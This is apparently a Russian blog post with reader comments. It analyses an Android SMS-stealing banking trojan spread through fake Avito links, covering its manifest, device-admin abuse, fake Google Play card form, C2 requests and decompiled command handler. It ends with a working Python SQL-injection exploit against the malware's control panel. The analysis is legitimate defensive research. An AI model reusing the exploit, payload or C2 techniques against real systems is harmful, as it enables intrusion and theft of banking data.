Исследование распространенной малвари под Android


    Часто вирусы для android приходят к нам при помощи рассылок. Раньше это были СМС, а теперь еще и современные мессенджеры. Мне было интересно посмотреть, что же сейчас на рынке вредоноса, поэтому зарегистрировалась и подала пару объявлений на avito.

    Спустя пару дней после публикации мне позвонили из салона красоты Desheli и пригласили на бесплатную процедуру, вроде как подарок от кого-то из друзей. Смысл в том, что после процедуры они крайне настойчиво уговаривают взять кредит на их косметику. Тема старая, избитая, но все еще работает. А после позвонили еще из чего-то подобного, только тут уже честно сказали, что база номеров набирается автоматически. Всякий раз, как спрашивала название их конторы, начинался ужасный шум, явно не просто так. То, что номер взяли с avito, было понятно, потому что ко мне обращались по тому имени, что я написала в объявлении.

    А то, ради чего это все затевалось, пришло только через пару недель. Мне прислали почти подряд 3 смс примерно одинакового содержания.

    Что примечательно, из 3 ссылок доступна была только одна, при том, что попытка скачать была сразу же после получения смс.

    Скаченный avito.apk весит 437кб. Это много. Такой размер оказался из-за библиотеки android.support.v7, которая тут не нужна. Если её убрать, будет ~50кб.
    Отчет virustotal
    Судя по количеству детектов, сомнений быть не может — это зловред, еще и не обфусцированный

    Начнем с AndroidManifest.xml

    Смотрим права, которые запрашиваются при установке приложения:

        <uses-permission android:name="android.permission.INTERNET" />
        <uses-permission android:name="android.permission.SEND_SMS" />
        <uses-permission android:name="android.permission.READ_SMS" />
        <uses-permission android:name="android.permission.RECEIVE_SMS" />
        <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
        <uses-permission android:name="android.permission.READ_PHONE_STATE" />
        <uses-permission android:name="android.permission.WAKE_LOCK" />
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
        <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
        <uses-permission android:name="android.permission.READ_CONTACTS" />
        <uses-permission android:name="android.permission.CALL_PHONE" />
        <uses-permission android:name="android.permission.GET_ACCOUNTS" />
        <uses-permission android:name="android.permission.VIBRATE" />
        <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
    



    Все права ожидаемы, кроме android.permission.VIBRATE, потому что обычно все стараются скрывать свое присутствие в системе. После детального осмотра кода выяснилось, что есть еще не используемый запрос android.permission.WRITE_EXTERNAL_STORAGE. Скорее всего, из кода удаляли лишнее или заготовили и не дописали.

    Дальше по манифесту DEVICE_ADMIN

    Таким образом, приложение помечается как администратор устройства и его нельзя удалить, пока не сняты права в Настройки-Безопасность-Администраторы устройства

       <receiver 
            android:label="Условия использования" 
            android:name="app.six.MyAdmin"
            android:permission="android.permission.BIND_DEVICE_ADMIN">
                <meta-data android:name="android.app.device_admin" android:resource="@layout/policies" />
                <intent-filter>
                    <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
                </intent-filter>
        </receiver>
    



    layout/policies.xml:
    <?xml version="1.0" encoding="utf-8"?>
    <device-admin>
        <uses-policies />
    </device-admin>
    


    Запрос прав происходит с текстом:

    «Условия использования Google Play.
    Бесплатный Контент.
    Google может разрешать бесплатно загружать или использовать Контент.
    К бесплатному Контенту применяются те же условия, что и к купленному, кроме положений, связанных с оплатой (например, к бесплатному Контенту не применяются положения данных Условий о возврате уплаченной цены).
    Google может налагать ограничения на ваш доступ к определенному бесплатному Контенту и на его использование вами.»

    А отключение прав — «Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?»
    На самом деле никаких проблем не будет. Это последний шанс отговорить пользователя.

    public CharSequence onDisableRequested(Context ctx, Intent paramIntent) {
            return "Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?";
        }
    


    Если отказаться, попросит еще раз.

    Дальше видим фейк на Google Play, выполненный в старом дизайне, еще доматериальном.

          <activity 
                      android:theme="@*android:style/Theme.Light.NoTitleBar.Fullscreen" 
                      android:label="Play Маркет" 
                      android:icon="@drawable/market_icon" 
                      android:name="app.six.CardAtivity" 
                      android:screenOrientation="portrait" 
                      android:configChanges="keyboardHidden|orientation"
           />
    


    Завершается манифест

      <receiver android:name="app.six.MainReceiver">
                <intent-filter android:priority="100">
                    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                    <action android:name="android.intent.action.BOOT_COMPLETED" />
                    <action android:name="android.intent.action.USER_PRESENT" />
                    <action android:name="android.intent.action.PHONE_STATE" />
                    <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                </intent-filter>
            </receiver>
            <service android:name="app.six.MainService" />
            <activity 
                      android:label="@string/title_activity_adm" 
                      android:name="app.six.AdmActivity" 
                      android:launchMode="singleTask" />
        </application>
    </manifest>
    


    android.provider.Telephony.SMS_RECEIVED — получение смс, приоритет выставлен не максимальный
    android.intent.action.BOOT_COMPLETED — для автозапуска после загрузки устройства
    android.intent.action.USER_PRESENT — пользователь разблокировал устройство
    android.intent.action.PHONE_STATE, android.intent.action.NEW_OUTGOING_CALL — отслеживание звонков пользователя

    Устанавливаем, разрешаем администратора устройства, дальше ожидается, что приложение будет спрятано на устройстве. Но оно остается в списке приложений, его даже запустить можно. Подразумевается, что это должно успокоить пользователя.
    Скорее всего, разработчик не смог вызвать Activity с запросом прав администратора и решил вывести ошибку.



    К сожалению, автозалива по сбербанку у бота не оказалось, владелец посылает команды руками.
    Сначала идет запрос на регистрацию бота

    curl --socks5 127.0.0.1:9050 --data "mode=register&prefix=1&version_sdk=123.4.4(Bot.v.4.2)&imei=1234567890123&country=ru&number=null&operator=Beeline" url.com/controller.php


    После чего боту присваивается порядковый номер и пароль. На момент, когда начала анализ, было 350 пользователей.

    {"response": [{"bot_id": 1234, "bot_pwd": "blabla"}],
    "status": "ok"}


    Дальше идет запрос команды

    curl --socks5 127.0.0.1:9050 --data "mode=getTask&bid=348&pwd=17h9q&divice_admin=1" url.com/controller.php

    {"response": [{"mode": "set_intercept",
    "intercept": "all"},{"mode": "upcatsm"},{"mode": "timer_msg",
    "sms_id": "1232",
    "sms_text": "БАЛАНС",
    "sms_number": "900",
    "time": "20"}],
    "status": "ok"}


    Отвечаем балансом карты:

    curl --socks5 127.0.0.1:9050 --data "mode=setSaveInboxSms&number=900&text=VISA1234 Баланс:23000р.&time=2016-01-27 20:01:15&status_sms=1&sms_mode=2&bid=1234" url.com/controller.php


    {"response": [],
    "status": "ok"}


    После отправки запроса о балансе и повторного запроса команды выдается команда на перехват смс.

    {"response": [{"mode": "set_intercept",
    "intercept": "all"}],
    "status": "ok"}


    Запрос баланса сбербанка идет в автоматическом режиме. Какие-либо иные команды также на ручном управлении.

    Получение команды.
    Тут следовало бы использовать case, но автор не в курсе, как сравнивать строки в JAVA

     JSONObject newOb = arr.getJSONObject(i);
                                if (newOb.getString("mode").equals("set_intercept")) {
                                    dbSet.setIntercept(newOb.getString(DbSet.INTERCEPT));
                                }
                                if (newOb.getString("mode").equals("set_interval")) {
                                    dbLog.setInterval(newOb.getInt(U_COLUMS.INTERVAL));
                                }
                                if (newOb.getString("mode").equals("send_sms")) {
                                    mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
                                    Settings.sendSms(MainService.this.ctx, mItem);
                                }
                                if (newOb.getString("mode").equals("set_server")) {
                                    dbSet.setServer(MainService.this.ctx, newOb.getString(DbSet.SERVER));
                                }
                                if (newOb.getString("mode").equals("upcatsm")) {
                                    new Settings(MainService.this.ctx).upServerCatSms();
                                }
                                if (newOb.getString("mode").equals("upsmlist")) {
                                    new Settings(MainService.this.ctx).upServerSmsList(newOb.getString("number"));
                                }
                                if (newOb.getString("mode").equals("changeNotify")) {
                                    dbSet.setNotify(newOb.getString("text"));
                                }
                                if (newOb.getString("mode").equals("get_ussd")) {
                                    SettingsBase.ussdOn(MainService.this.ctx, newOb.getString("text"));
                                }
                                if (newOb.getString("mode").equals("timer_msg")) {
                                    mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
                                    Settings.sendSmsTimer(MainService.this.ctx, mItem, newOb.getInt("time"));
    }
    
    
    


    set_intercept — включает перехват смс на устройстве
    И проверка фильтра, по которому идет перехват сообщений

       if ((str.equals("all")) || (str.equals("All")) || (str.equals("ALL")) || (str.equals("")))
    

    И если уж перебирать все варианты, то где еще 5? Для сравнений строк независимо от регистра следовало бы использовать compareToIgnoreCase

    setInterval — изменение времени отклика к гейту

    send_sms
    Отправка смс реализована несколько криво. Не поддерживает отправку составных смс — максимальная длина 70 символов русскими буквами. Рассылку по контактам будет делать неудобно.

    public static boolean sendSms(Context context, MessageItem item) {
            try {
                Intent intent = new Intent(context, MainReceiver.class);
                intent.setAction(Constants.CONST_SMS_DELIVERED_STATUS);
                intent.putExtra(Constants.CONST_ID_SEND_SMS, item.id);
                PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, item.id, intent, 0);
                try {
                    SmsManager.getDefault().sendTextMessage(item.phone, null, item.text, sentPendingIntent, null);
                } catch (Exception e) {
                    sendMessage(context, "Неизвестная ошибка при отправке СМС.", "ERROR", 1, 0);
                }
                return true;
            } catch (Exception ex) {
                ex.printStackTrace();
                return false;
            }
        }
    


    set_server — меняет адрес гейта, записывается в SharedPreference

    upsmlist, upcatsm — отправляют все входящие и исходящие смс в формате json на сервер

    changeNotify — посылает пользователю push уведомление с заданным текстом с иконкой от google play. Вот тут вызывается Activity с фейком google play.
    Команда на вызов фейка мне не пришла, а собрать пустое приложение с xml фейка не получилось. Похоже при декомпиляции поломался. Ничего интересного в нем все равно нет. Провека на валидность по алгоритму Луна, год, etc

    card.xml
    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-1" android:layout_height="-1"
        <LinearLayout android:background="@drawable/top" android:layout_width="-1" android:layout_height="50dp"
            <LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-2" android:layout_height="-1">
                <ImageView android:id="@id/imageView1" android:background="#fff" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/market_icon" />
            </LinearLayout>
            <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#fff" android:layout_gravity="10" android:id="@id/textView1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:text="Google Play" />
        </LinearLayout>
        <LinearLayout android:orientation="1" android:id="@id/layoutOk" android:background="#fff" android:visibility="2" android:layout_width="-1" android:layout_height="-2">
            <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView5" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:text="Спасибо, ваши данные приняты. Ожидайте результат на ваш email адрес." />
            <Button android:textColor="#fff" android:id="@id/btn_close" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Закрыть" />
        </LinearLayout>
        <LinearLayout android:orientation="1" android:id="@id/layout1" android:layout_width="-1" android:layout_height="-2" />
        <ScrollView android:id="@id/scrollView1" android:visibility="0" android:layout_width="-1" android:layout_height="-1" android:isScrollContainer="true">
            <LinearLayout android:orientation="1" android:layout_width="-1" android:layout_height="-2"
                <LinearLayout android:orientation="1" android:id="@id/layout2" android:background="#fff" android:visibility="0" android:layout_width="-1" android:layout_height="-2">
                    <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#a52a2a" android:id="@id/textError" android:visibility="2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="3dp" android:text="Medium Text" />
                    <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="5dp" android:text="Для продолжения использования сервиса Google Play необходимо ввести платежные данные." />
                </LinearLayout>
                <LinearLayout android:orientation="1" android:id="@id/LinearInput" android:visibility="0" android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp"
                    <LinearLayout android:layout_width="-1" android:layout_height="-2">
                        <ImageView android:id="@id/imageView2" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/visa" />
                        <ImageView android:id="@id/imageView3" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/mastercard" />
                        <ImageView android:id="@id/imageView4" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/logo_maestro" />
                        <ImageView android:id="@id/imageView4343f" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/discovery" />
                    </LinearLayout>
                    <LinearLayout android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp">
                        <EditText android:id="@id/ETCard1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginRight="2dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2">
                            <requestFocus />
                        </EditText>
                        <EditText android:id="@id/ETCard2" android:focusableInTouchMode="true" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLength="4" android:digits="0123456789 " android:layout_weight="1.0" android:inputType="2" />
                        <EditText android:id="@id/ETCard3" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLines="1" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
                        <EditText android:id="@id/ETCard4" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="5dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
                    </LinearLayout>
                    <LinearLayout android:layout_width="-1" android:layout_height="-2">
                        <EditText android:id="@id/ETCard5" android:layout_width="70dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="ММ" android:ems="10" android:maxLength="2" android:inputType="2" />
                        <TextView android:layout_gravity="10" android:id="@id/textView3" android:layout_width="-2" android:layout_height="-2" android:text="/" />
                        <EditText android:id="@id/ETCard6" android:layout_width="70dp" android:layout_height="-2" android:layout_margin="5dp" android:hint="ГГ" android:ems="10" android:maxLength="2" android:inputType="2" />
                    </LinearLayout>
                    <LinearLayout android:layout_width="-1" android:layout_height="-2">
                        <EditText android:id="@id/ETCard7" android:layout_width="100dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="CVC-код" android:ems="10" android:maxLength="3" android:inputType="2" />
                        <ImageView android:layout_gravity="10" android:id="@id/imageView5" android:layout_width="-2" android:layout_height="-2" android:src="@drawable/cvc_visa" />
                    </LinearLayout>
                    <EditText android:id="@id/EditTextName" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="Имя и фамилия держателя карты" android:ems="10" android:maxLength="60" android:inputType="1" />
                    <Button android:textColor="#fff" android:id="@id/btn_save" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Продолжить" />
                </LinearLayout>
                <Button android:textColor="#8b8989" android:id="@id/btnCancel" android:background="@drawable/btn_alpa" android:visibility="2" android:layout_width="-1" android:layout_height="40dp" android:layout_marginTop="15dp" android:text="Закрыть" />
            </LinearLayout>
        </ScrollView>
    </LinearLayout>
    



    get_ussd
    Android не имеет API для получения ответа от USSD команд. Т.е. команду выполнит, но получить текст из ответа нельзя. Тут есть 2 решения проблемы — или через специальные возможности, или подключить стороннюю библиотеку IExtendedNetworkService.aidl. Спец.возможности работают, начиная с 4 версии android, требуют включения отдельной опции в настройках и перехватывают все всплывающие окна без исключения. Также эти уведомления можно глобально подавить. С библиотекой все проще, она ловит, когда это требуется, и работает, начиная с 2 версии андроида. Но слухи о её работоспособности сильно преувеличены.
    При этом перехват ответа от USSD может понадобиться только для получения баланса симкарты. USSD команды сбербанка работают таким образом, что и код подтверждения, и ответ будут отправлены по смс.

    public static void ussdOn(Context context, String phone) {
            phone = new StringBuilder(String.valueOf(phone)).append(Uri.encode("#")).toString();
            C0091M.m6d("ussdOn: " + phone);
            try {
                Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + phone));
                intent.addFlags(268435456);
                context.startActivity(intent);
            } catch (Exception e) {
                Settings.sendMessage(context, "Неизвестаная ошибка: USSD " + phone, "СИСТЕМА", 2, 0);
            }
        }
    

    В боте же USSD команда выполняется как факт. Команда прошла или ексепшен. Результат тут не будет получен.

    timer_msg — отправка смс по таймеру

    Бот имеет скрытый потенциал, функции которые не используются:

    downloadFile, installApk — лоадер
    getContacts — сбор номеров из телефонной книги
    openUrl — вызов браузера с заданным адресом

    После анализа бота, скинула посмотреть ссылку на админку letm.

    Увидев разрешенный dir listng, решил поискать сервак где не интерпретируется php код, чтобы получить исходники. В итоге нашел на ргхосте незапароленный архив с исходным кодом.
    Быстро прошелся по исходникам — большинство параметров фильтруется и проведение атаки невозможно. Но попался один момент где фильтруемый парамер перестал быть таковым.
    Разработчик заместо того, чтобы использовать фильтруемый параметр в качестве аргумента в функции предпочел взять то же параметр, но без фильтра. Сама функция помещает информацию о балансе в базу данных.
    Тот самый параметр, который передается без фильтра дальше проходит через регулярное выражение preg_match( '/Балансы: (.*?) руб./is', $message, $links)
    то что у нас в (.*?) затем будет использовано в запросе к базе данных. Такое регулярное выражение позволяет нам использовать произвольный текст, в данном случае это инъекция.
    При помощи инъекции мы можем писать произвольные данные в таблицу в тот числе из других таблиц, что очевидно. Проблема состоит как в дальнейшем их просмотреть, в скрипте выключен показ ошибок. Нужно искать момент доступный для пользователя без авторизации. И такой имеется в регистрации бота. Если бот уже был зарегистрирован, в выводе нам покажет его пароль. Что мы и делаем при помощи инъекции — обновляем свой пароль, отсылаем пакет регистрации повторно и получаем вывод
    В итоге написал сплоит, который вытаскивает текущего юзера и версию

    python exploit.py target.com

    exploit.py
    import urllib2,urllib,sys,re
    
    def register(target, mode):
    	values = { 'prefix': '111111111','version_sdk': '222222222', 'version_bot': '333333333', 'imei':'4444444444444', 'country':'%%', 'number':'31333731337', 'operator':'telekom'}
    	data = urllib.urlencode(values)
    	req = urllib2.Request(target+'/controller.php?mode=register', data)
    	response = urllib2.urlopen(req)
    	result = response.read()
    	bot_pwd = re.compile('"bot_pwd": "(.*)"}]');
    	regex_pwd = re.findall(bot_pwd, result)
    	bot_id = re.compile('"bot_id": (\d+),');
    	regex_id = re.findall(bot_id, result)
    	if len(regex_pwd)>0:
    		if mode == None:
    			exploit(target, regex_id[0], None)
    		else:
    			print "Result: "+regex_pwd[0]
    	else:
    		print 'exploit failed.. cannot find enabled country or smth... :('
    
    def exploit(target, id, payload):
    	print 'Sending payload';
    	if payload==None:
    		payload="\xD0\x91\xD0\xB0\xD0\xBB\xD0\xB0\xD0\xBD\xD1\x81: aaaa',pwd=(select concat_ws(0x3a,version(),user())) WHERE id="+str(id)+" -- 1\xD1\x80."
    	values = { 'bid': '111111111','sms_mode': '1', 'number': '900', 'text': payload}
    	data = urllib.urlencode(values)
    	req = urllib2.Request(target+'/controller.php?mode=setSaveInboxSms', data)
    	response = urllib2.urlopen(req)
    	register(target, 'result')
    
    if len(sys.argv)>1:
    	print 'Ur target is:'+sys.argv[1]
    	print register(sys.argv[1], None)
    else:
    	print 'usage: exploit.pl <http://local.ru/>'
    



    Support the author
    Share post

    Comments 59

      +2
      То есть — разом слились Agnitum, ClamAV, Comodo, McAfee, Microsoft, Panda, Symantec.
      Делаем выводы
        +7
        Вывод: некоторые PC-шные антивирусы не пытаются искать вирусы в мобильных приложениях (там и написано, что «файл не распознан»).
        Лично я не считаю это проблемой до тех пор, пока запуск зловредного apk в эмуляторе не будет вредить ПК.
        +3
        Ещё раз к тому, что sms'ки от банка на смартфон — плохая идея. Отдельная симка в «тупозвонилке» (а лучше, nokia 3310, там точно никакого затаившегося смартфона нет) — и оно, внезапно, начинает реально работать.
          +1
          sms'ки от банка на «тупозвонилку» — плохая идея для банка и 90% его клиентов.
            0
            Почему?
            0
            Альфа насильно заменила смски push-уведомлениями, например
              0
              Их содержимое тоже можно поймать
                0
                Можно;
                комментарий о том, что в nokia 3310 пушей нет
                  0
                  На нее и малвари нет.
                  А вообще если бездумно совершать какие-либо действия ничего хорошего не будет, не зависимо от модели телефона
            +1
            История мошенника-неудачника. Более половины возможностей не раскрыты.
            Явно расчет на то, что и этого хватит для рядового пользователя. И это действительно так.

            С падением грамотности пользователей, падает уровень старания «кулхацкеров», хорошо это или плохо?
            ТС, как Вы считаете?
              0
              Для ответа на этот вопрос надо проанализировать еще десяток apk. Не судить же по одному всех.

              Если этому боту добавить резет, скрытие себя в списке приложений и автовключение интернета, то этого будет хватать.
              0
              Тут следовало бы использовать case, но автор не в курсе, как сравнивать строки в JAVA

              Или он не в курсе, что на Андроид давно уже завезли Java 7, и строки в switch теперь можно использовать. Или же зловред писался пару лет назад, когда можно было использовать только Java 6.
                0
                Еще нужно учесть широту распространения, не только на последние (флагманы) девайсы, но и доставить «радость» тем, на чьи устройства производители положили болт.
                  0
                  switch на строках доступен начиная с Android 2.2 (пруф, смотреть 'ADT 22.6.0'), а Android Dashboards не учитывают ничего, младше 2.2. Похоже, что устройств, на которых новый switch не заработает, настолько мало, что можно было бы не заморачиваться.
                  Хотя я зловредов не писал, и мотивации создателей не знаю — может быть они как раз озабочены тем, чтобы их код выполнялся на максимальном количестве устройств.
                    0
                    > озабочены тем, чтобы их код выполнялся на максимальном количестве устройств.
                    Да. Минимальная версия Андроид на нышешний момент, если не ошибаюсь, оценивается 2.3.2
                      0
                      По манифесту минимальная поддерживаемая версия 2.2
                    0
                    Код надо рефакторить и обфусцировать не зависимо от того, когда он был написан. После количество ав детектов будет стремиться к нулю
                      +6
                      Не удержался

                        0
                        А вы не думали, что люди, которые пишут такое ПО сознательно допускают такие глупы вещи?
                        По исходному коду можно понять кто писал и на каком уровне.
                        А тут просто смена почерка.
                        Либо это был одноразовый заказ у студента. Кто будет поддерживать малварь, если ее рано или поздно найдут?
                          0
                          Намеренные ошибки исключены. Это не опытность. По исходному коду максимум уровень определить. А вот пол, возраст, локацию, имя не получиться.
                          Предположим, существует разработчик, который пишет вот таких зверей и публикует легальные приложения в google play. Пишет все в едином стиле. Как вы его найдете и докажете, что автор именно он?
                            0
                            знание языка (английский, немецкий, полное незнание), знание языков программирования (зачастую по JAVA можно сказать знает человек PHP или нет)
                            Любые ляпы в коде могут спалить местопложение (по неопытности, например тестовый сервер)
                            Можно даже общие черты характера выявить.
                            Можно узнать ресурсы, которыми пользовался программист (неопытный), часто люди тупо копируют куски кода. Ресурс — прямая дорога к IP. Опытный программист сможет определить сколько людей работало над проектом (один или больше).
                            Но это долго, дорогу, муторно и большая работа специалистов.
                            Это у нас делать ни кто не будет.
                            А доказательная база — работа других органов. Надо сначала найти человека, а потом идет доказательство.
                            Просто когда уже есть начальная «карта» клиента, то уже многое проще становится.
                              0
                              Если посмотреть сводки новостей по таким работникам, то ловят не разработчика, а обнальщика и/или владельца ботнета.
                              Бот работающий по сбербанку и так ожидаемо, что разработчик из РФ или СНГ. Но дальше не пойдет.
                              IP, не известна дата написания бота и время за которое он был написан.
                              Будет огромное количество адресов. Это тупик
                                0
                                Это для вас тупик.
                                А ФСБ делают запросы (раза 3 за 10 лет было) «список всех IP, кто в таком то году в таком то месяце заходил на такой сайт». И пофиг что их там 10 000 и больше.
                                Просто тут идет речь о маленьких деньгах, а когда так миллионы утекают — сразу по всем направлениям начинают трясти.
                                Отсюда и попадаются всякие обналичивальщики и другие. На них и выходят по этим мелким зацепкам.
                                  +1
                                  А хоть один пример такой спец операции будет?
                                    0
                                    Где же я его вам возьму. Я не СМИ и не ФСБ
                                    Я рассказал о своем опыте о работе с людьми оттуда.
                                    3 случая — официальных.
                                    Остальные были по знакомству и не официально.
                                    Они даже не дают информации помогла ли полученная информация или нет. Это всё секрет следствия.
                                    А так 1 убийство 2х годовалой давности и какая то крупная кража у коммерческой фирмы точно были раскрыты.
                                    0
                                    Ловить программера им, скорее всего, не очень интересно. Из заказчика можно вытрясти 90% его профита за непередачу дела в суд. А из программера даже весь его гонорар будет много меньше.
                          –1
                          А вам не приходило в голову, что человек просто всю жизнь писал на С, а тут решил подзаработать на андройде? Он же не на работу устраиваеться, чтобы демонстрировать свои познания Явы )
                            +3
                            Кажется, мы нашли разработчика
                          0
                          а можно апкшу получить, уж больно интересно что внутри после всех All хочется увидеть еще перлы?
                            0
                              0
                              Ваша малварь не доступна. We're sorry. You can't access this item because it is in violation of our Terms of Service.
                                0
                                а можно все таки апк =( а то реально доступа нет
                                  0
                                  Отправила в личку
                              0
                              Меня больше всего волнует почему Avito не борется с автоматическим парсингом номера, сам столкнулся с такой смс и вирусом по ссылке, потом написал письмо в поддержку, оттуда пришла стандартная отписка
                              ответ поддержки
                              Спасибо за письмо.
                              Avito — один из самых посещаемых сайтов в России.
                              Пользователи размещают свои контактные данные в объявлении для того, чтобы потенциальные покупатели могли оперативно обратиться к владельцу объявления.
                              Когда вы размещаете в объявлении телефон, он становится доступен любому пользователю сайта.
                              К сожалению, не все пользователи сайта используют полученные контактные данные с целью приобретения товара.
                              В сложившейся ситуации мы рекомендуем вам с помощью сервисов вашего мобильного телефона занести в черный список номер, с которого приходит нежелательная рассылка.
                              Обращаем ваше внимание на то, что размещая объявления на нашем сайте, Вы соглашаетесь с пользовательским соглашением, в пункте 4.3 которого указано: «Размещая на Avito Объявления, Пользователь делает Сведения, указанные в Объявлении, общедоступными и понимает, что размещенная информация публикуется на Avito в открытом доступе, то есть доступна для ознакомления любому посетителю Avito (неограниченному кругу лиц) на территории всех стран мира, где имеется возможность использования сети Интернет и доступа к сайту, соответственно Пользователь понимает и принимает на себя все риски, связанные с таким размещением информации, в том числе, включая, но не ограничиваясь: риск попадания адреса электронной почты в списки для рассылки спам-сообщений, риск попадания адреса электронной почты к различного рода мошенникам, риск попадания телефонного номера к SMS-спамерам и/или SMS-мошенникам и иные риски, вытекающие из такого размещения информации».
                                0
                                Это же не мешает их работе
                                  +1
                                  Видимо, по тому что это если и возможно, то крайне затратно.
                                  • UFO just landed and posted this here
                                      0
                                      От бана по ip спасают прокси-сервера (на пример, тот же TOR). Забанили — сменил и дальше работай.
                                        0
                                        С тором нельзя на авито
                                          0
                                          Немного не так: тор генерит большое кол-во трафика, из-за чего авито банит. И это от части говорит о том, что тором активно пользуются (вполне возможно, что в том числе и парсеры).
                                          0
                                          Тогда толковых методов получается нет. С одной стороны он должен быть на виду, с другой — прятать от парсеров. Стоит отметить, человеку, который хочет просто позвонить по объявлению, тоже не здорово совершать кучу манипуляций по выуживанию номера.
                                            0
                                            Самый «простой» метод (из эффективных) — подкладывать ботам (парсерам) фейковые данные.
                                              +1
                                              Для начала парсеры нужно задетектить.

                                              Как вы отличите бота от человека, если заголовки запроса идентичные? JS? Не у всех он включен или работает не так, как должен (Opera Mini).

                                              Hard mode:
                                              Как вы отличите от человека бота с PhantomJS?

                                              А подкладывать ботам фейковые данные — это вообще пушка.
                                                0
                                                Детектить по кол-ву трафика, если трафика не много, то и не заморачиваться.
                                                  0
                                                  Задачи раскидываются по пулу прокси, уже не работает.
                                                    0
                                                    Вопрос только в том, сколько данных и сколько прокси.

                                                    В целом, мы счас с вами можем решать гипотетические проблемы ещё долго. На пример, купить подписку на списки прокси у поставщиков и преманентно их в бан отправлять.
                                          0
                                          Я слышал про парсеры на андроиде.
                                          Мобильный интернет, перед каждый запросом переконект и рандомный динамический ip.
                                            0
                                            Ага. Причем тут нет необходимости в андроиде. Можно брать usb-мопед и аналогично делать ему реконнект. Можно даже дергать питание USB скриптом на баше, если уж совсем лень.
                                              0
                                              Ну тогда есть необходимость в компе, который будет занят парсингом.

                                                +1
                                                Всегда думал что парсинг это более подходящая задача для скриптика на ноуте/десктопе, а не для смартфона.
                                                  0
                                                  Если парсинг идет 24/7 то экономичнее выделить под это дело андроидофон, чем отдельный комп.
                                                  Если для парсинга по этой схеме использовать рабочий комп, то на нем будет постоянно интернет переконекчиваться, ну и к тому же онли мобильный интернет.
                                                    0
                                                    Во первых, ничего не мешает использовать отдельное интернет соединение для просмотра котяток на ютубе, а модем — пусть дергается. Во вторых — технологий при помощи которых можно написать парсер под linux (он подразумевался, когда я говорил про десктоп) гораздо больше чем под андроид.
                                                      0
                                                      Я не очень представляю как настроить 2 различных канала в интернет на линуксе чтоб все ходили через один а нудное приложение через другой, но полагаю что это возможно.

                                                      Очевидно, что если бы вы писали для себя такой парсер то выбрали бы схему linux+модем.

                                                      Кто то выбрал схему парсер на андроид.
                                                      Может быть програмист которому поручили задачу, лучше владел андроидом.
                                                      А может заказчику было удобнее купить смартфон, чем комп под линуксом ставить.

                                                      История умалчивает, я то просто слышал про людей которые парссят с андроида.
                                        –1
                                        Помимо кода, следовало бы и обфусцировать команды. Подкинуло бы геморроя тому, кто реверсит. Заодно это замаскирует следы в плане возможных ошибок в английском и прочее.
                                          0
                                          Использовать Native SDK еще не научились? Или у кого-то есть подобные семплы?
                                            0
                                            Интересный обзор, спасибо.

                                            А объясните, пожалуйста, человеку слабо разбирающемуся в вопросе, зачем подключена библиотека android.support.v7, что из нее используется?
                                              0
                                              Эта библиотека по-умолчанию подключается при создании проекта. По большей части нужна для красивых интерфейсов
                                                0
                                                То есть это еще один показатель непрофессионализма авторов? Ведь, получается, в данной малвари не нужна совсем?
                                                  0
                                                  Конечно, иначе зачем таскать с собой лишние 300+кб

                                            Only users with full accounts can post comments. Log in, please.